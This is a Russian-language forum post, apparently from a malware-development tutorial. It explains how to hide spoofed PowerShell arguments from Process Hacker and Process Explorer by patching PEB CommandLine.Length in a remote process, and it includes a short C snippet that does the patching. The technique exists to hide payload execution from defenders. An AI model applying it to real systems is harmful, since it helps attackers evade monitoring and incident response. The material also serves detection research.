Проверка Process Hacker снова показывает, что регистрируются как легитимые, так и фиктивные аргументы.
Использование PEB->ProcessParameters.CommandLine.Buffer для перезаписи полезной нагрузки может быть обнаружено Process Hacker и другими инструментами, такими как Process Explorer, потому что эти инструменты используют NtQueryInformationProcess для чтения аргументов командной строки процесса во время выполнения. Поскольку это происходит во время выполнения, они могут видеть, что в данный момент находится в PEB->ProcessParameters.CommandLine.Buffer.
Решение
Эти инструменты считывают CommandLine.Buffer до длины, указанной в CommandLine.Length. Они не полагаются на то, что CommandLine.Buffer завершается нулевым символом, потому что Microsoft утверждает в своей документации, что UNICODE_STRING.Buffer может не быть завершен нулевым символом.
Короче говоря, эти инструменты ограничивают количество байт, считываемых из CommandLine.Buffer, равным CommandLine.Length, чтобы избежать чтения дополнительных ненужных байт в случае, если CommandLine.Buffer не завершен нулевым символом.
Возможно обмануть эти инструменты, установив CommandLine.Length меньше размера буфера. Это позволяет контролировать, сколько полезной нагрузки внутри CommandLine.Buffer будет отображено. Это можно сделать, переписав адрес CommandLine.Length в удаленном процессе, передав желаемый размер буфера для чтения внешними инструментами.
Патчинг CommandLine.Length
Следующий фрагмент кода патчит PEB->ProcessParameters.CommandLine.Length, чтобы ограничить то, что может читать Process Hacker только для powershell.exe. Сначала аргумент подмены устанавливается в "Totally Legit Argument", а затем длина патчится, чтобы быть размером sizeof(L"powershell.exe").
C:
DWORD dwNewLen = sizeof(L"powershell.exe");
if (!WriteToTargetProcess(Pi.hProcess, ((PBYTE)pPeb->ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length)), (PVOID)&dwNewLen, sizeof(DWORD))){
return FALSE;
}
Демонстрация
Просмотр Process Hacker.
Procmon view.
Последнее редактирование: